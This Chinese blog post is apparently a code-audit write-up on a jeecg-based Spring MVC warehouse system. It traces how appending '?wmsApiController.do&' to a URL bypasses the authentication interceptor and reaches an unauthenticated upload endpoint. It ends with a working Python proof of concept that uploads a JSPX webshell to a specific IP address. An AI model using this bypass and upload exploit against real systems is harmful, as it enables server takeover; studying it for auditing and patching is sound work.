JAVA的MVC项目未授权上传绕过链
碰到spring老项目了
开始看看总调度器web.xml
<servlet> <description>spring mvc servlet</description> <servlet-name>springMvc</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <description>spring mvc 配置文件</description> <param-name>contextConfigLocation</param-name> <param-value>classpath*:spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>springMvc</servlet-name> <url-pattern>*.do</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>springMvc</servlet-name> <url-pattern>*.action</url-pattern> </servlet-mapping>定义了总调度器spring-mvc.xml,进一步查看,
并且只要有.do结尾全部丢入springMvc进行请求。
然后看spring-mvc的配置项
<mvc:interceptor> <mvc:mapping path="/**" /> <bean class="org.jeecgframework.core.interceptors.AuthInterceptor"> <property name="excludeUrls"> <list> <value>loginController.do?goPwdInit</value> <value>loginController.do?pwdInit</value> <value>loginController.do?login</value> <value>loginController.do?logout</value> <value>loginController.do?changeDefaultOrg</value> <value>loginController.do?login2</value> <value>loginController.do?login3</value> <value>loginController.do?checkuser</value> <value>loginController.do?checkuser=</value> <value>repairController.do?repair</value> <value>systemController.do?saveFiles</value> <value>repairController.do?deleteAndRepair</value> <value>userController.do?userOrgSelect</value> <!--移动图表--> <value>cgDynamGraphController.do?design</value> <value>cgDynamGraphController.do?datagrid</value> <value>cgDynamGraphController.do?datagrid</value> <value>rest/wvGiNoticeController/search</value> <value>rest/tokens/login</value> <value>rest/wmToDownGoodsController</value> <value>rest/wmToUpGoodsController</value> <value>rest/wmInQmIController</value> <value>rest/wvNoticeController</value> <value>rest/wvGiController</value> <value>rest/mdGoodsController</value> <value>rest/wvStockController</value> <value>rest/wmSttInGoodsController</value> <value>rest/wmToMoveGoodsController</value> <value>rest/wmBaseController/showOrDownqrcodeByurl</value> <!-- 菜单样式图标预览 --> <value>webpage/common/functionIconStyleList.jsp</value>
</list> </property> <property name="excludeContainUrls"> <list> <value>systemController/showOrDownByurl.do</value> <value>wmsApiController.do</value> </list> </property> </bean> </mvc:interceptor>这里给类org.jeecgframework.core.interceptors.AuthInterceptor添加了属性
excludeUrls以及excludeContainUrls。以及这里也配了很多list
因为看到鉴权的AuthInterceptor。
就可以有意识打打接口,直接跟进
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception { String requestPath = ResourceUtil.getRequestPath(request); if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) { return true; } else if (this.excludeUrls.contains(requestPath)) { return true; } else if (this.moHuContain(this.excludeContainUrls, requestPath)) { return true;核心在于AuthInterceptor的子类prehandler中,这里的精确匹配属性值在xml配给
原意是xml所声明的文件可访问,但是只要带上符合的value就可以访问,是包含的关系
现在生出两个想法,在我知道这个项目存在uploadfile前提的情况下,可以利用的点
就是上传webshell绕过检测,但是具体走哪一条绕过检查
得进一步看函数对传进的路径处理,跟进getRequestPath
public static String getRequestPath(HttpServletRequest request) { String queryString = request.getQueryString(); String requestPath = request.getRequestURI(); if (StringUtils.isNotEmpty(queryString)) { requestPath = requestPath + "?" + queryString; }
if (requestPath.indexOf("&") > -1) { requestPath = requestPath.substring(0, requestPath.indexOf("&")); }
requestPath = requestPath.substring(request.getContextPath().length() + 1); return requestPath; }总结来说,以?截断和以&截断,如果存在&直接按照&截断,那样我们就可以直接打upload的未授权
也就是拼接处upload?wmsApiController.do&xxxx这样的路径,
处理之后就是upload?wmsApiController.do,
存在wmsApiController.do,直接放行到upload的接口,
并且这里不存在进一步鉴权,那就直接看upload的接口
@Controller@RequestMapping({"/cgUploadController"})public class CgUploadController extends BaseController { private static final Logger logger = Logger.getLogger(CgUploadController.class); @Autowired private SystemService systemService; @Autowired private CgUploadServiceI cgUploadService;
public CgUploadController() { }
@RequestMapping( params = {"saveFiles"}, method = {RequestMethod.POST} ) @ResponseBody public AjaxJson saveFiles(HttpServletRequest request, HttpServletResponse response, CgUploadEntity cgUploadEntity) { AjaxJson j = new AjaxJson(); Map<String, Object> attributes = new HashMap(1024); String fileKey = oConvertUtils.getString(request.getParameter("fileKey")); String id = oConvertUtils.getString(request.getParameter("cgFormId")); String tableName = oConvertUtils.getString(request.getParameter("cgFormName")); String cgField = oConvertUtils.getString(request.getParameter("cgFormField")); if (!StringUtil.isEmpty(id)) { cgUploadEntity.setCgformId(id); cgUploadEntity.setCgformName(tableName); cgUploadEntity.setCgformField(cgField); }
if (StringUtil.isNotEmpty(fileKey)) { cgUploadEntity.setId(fileKey); cgUploadEntity = (CgUploadEntity)this.systemService.getEntity(CgUploadEntity.class, fileKey); }
UploadFile uploadFile = new UploadFile(request, cgUploadEntity); uploadFile.setCusPath("files"); uploadFile.setSwfpath("swfpath"); uploadFile.setByteField((String)null); cgUploadEntity = (CgUploadEntity)this.systemService.uploadFile(uploadFile); this.cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath()); attributes.put("fileKey", cgUploadEntity.getId()); attributes.put("viewhref", "commonController.do?objfileList&fileKey=" + cgUploadEntity.getId()); attributes.put("delurl", "commonController.do?delObjFile&fileKey=" + cgUploadEntity.getId()); j.setMsg("操作成功"); j.setAttributes(attributes); return j; }初步一看,并没有任何鉴权和黑名单,也就是完全依赖于拦截器的校验
获取表单的fileKey,cgFormId,cgFormName,cgFormField参数
并且不写数据库uploadFile.setByteField((String)null);
继续跟进函数uploadfile
public Object uploadFile(UploadFile uploadFile) { Object object = uploadFile.getObject(); if (uploadFile.getFileKey() != null) { this.updateEntitie(object); } else { try { uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8"); MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest(); ReflectHelper reflectHelper = new ReflectHelper(uploadFile.getObject()); String uploadbasepath = uploadFile.getBasePath(); if (uploadbasepath == null) { uploadbasepath = ResourceUtil.getConfigByName("uploadpath"); }
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap(); String path = uploadbasepath + "/"; String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path; File file = new File(realPath); if (!file.exists()) { file.mkdirs(); }
if (uploadFile.getCusPath() != null) { realPath = realPath + uploadFile.getCusPath() + "/"; path = path + uploadFile.getCusPath() + "/"; file = new File(realPath); if (!file.exists()) { file.mkdirs(); } } else { realPath = realPath + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/"; path = path + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/"; file = new File(realPath); if (!file.exists()) { file.mkdir(); } }
String entityName = uploadFile.getObject().getClass().getSimpleName(); if ("TSTemplate".equals(entityName)) { realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + ResourceUtil.getConfigByName("templatepath") + "/"; path = ResourceUtil.getConfigByName("templatepath") + "/"; } else if ("TSIcon".equals(entityName)) { realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + uploadFile.getCusPath() + "/"; path = uploadFile.getCusPath() + "/"; }
String fileName = ""; String swfName = "";
for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) { MultipartFile mf = (MultipartFile)entity.getValue(); fileName = mf.getOriginalFilename(); swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName))); String extend = FileUtils.getExtend(fileName); String myfilename = ""; String noextfilename = ""; if (uploadFile.isRename()) { noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8); myfilename = noextfilename + "." + extend; } else { myfilename = fileName; }
String savePath = realPath + myfilename; String fileprefixName = FileUtils.getFilePrefix(fileName); if (uploadFile.getTitleField() != null) { reflectHelper.setMethodValue(uploadFile.getTitleField(), fileprefixName); }
if (uploadFile.getExtend() != null) { reflectHelper.setMethodValue(uploadFile.getExtend(), extend); }
if (uploadFile.getByteField() != null) { }
File savefile = new File(savePath); if (uploadFile.getRealPath() != null) { reflectHelper.setMethodValue(uploadFile.getRealPath(), path + myfilename); }
this.saveOrUpdate(object); if ("txt".equals(extend)) { byte[] allbytes = mf.getBytes();
try { String head1 = this.toHexString(allbytes[0]); String head2 = this.toHexString(allbytes[1]); if ("ef".equals(head1) && "bb".equals(head2)) { String contents = new String(mf.getBytes(), "UTF-8"); if (StringUtils.isNotBlank(contents)) { OutputStream out = new FileOutputStream(savePath); out.write(contents.getBytes()); out.close(); } } else { String contents = new String(mf.getBytes(), "GBK"); OutputStream out = new FileOutputStream(savePath); out.write(contents.getBytes()); out.close(); } } catch (Exception var27) { String contents = new String(mf.getBytes(), "UTF-8"); if (StringUtils.isNotBlank(contents)) { OutputStream out = new FileOutputStream(savePath); out.write(contents.getBytes()); out.close(); } } } else { FileCopyUtils.copy(mf.getBytes(), savefile); }
if (uploadFile.getSwfpath() != null) { reflectHelper.setMethodValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + ".swf"); SwfToolsUtil.convert2SWF(savePath); } } } catch (Exception var28) { } }
return object; }因为在默认配置中
basePath=“upload”; rename=true;
会保留拓展名可但是会重写文件名
这里拿到磁盘真实路径
String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;因为rename是为true的,所以走
if (uploadFile.isRename()) { noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8); myfilename = noextfilename + "." + extend;虽然是8位随机字符串,但是我们未授权文件上传的时候是可以直接返回文件名的,少了文件名枚举的步骤了
同时因为存在数据库写回
writeBack(id, tableName, cgField, fileKey, realPath)
上传的字段也就不能瞎弄了,但是白盒给了sql文件,得以让我们有正确的表名可以填入
以下是POC
import requests
url = 'http://101.245.81.83:10019/jeewms/cgUploadController.do?wmsApiController.do&saveFiles'data = { 'cgFormId': '1', # 可以使用一个存在的表单ID 'cgFormName': 'cgform_uploadfiles', # 正确的表名 'cgFormField': 'CGFORM_FIELD' # 文件内容字段}
with open('exp.jspx', 'rb') as f: files = { 'file': ('exp.jspx', f, 'application/octet-stream') } # 同时传递data和files参数 res = requests.post(url=url, data=data, files=files) print(res.text)上传jspx就可以直接打webshell了
推完链子的感触
还是得先从路由看起,如果没看路由的白盒还是过于抽象了
也许是自己审计能力的问题
在xml配置项也是有很多点可以继续跟进的
以上
部分信息可能已经过时





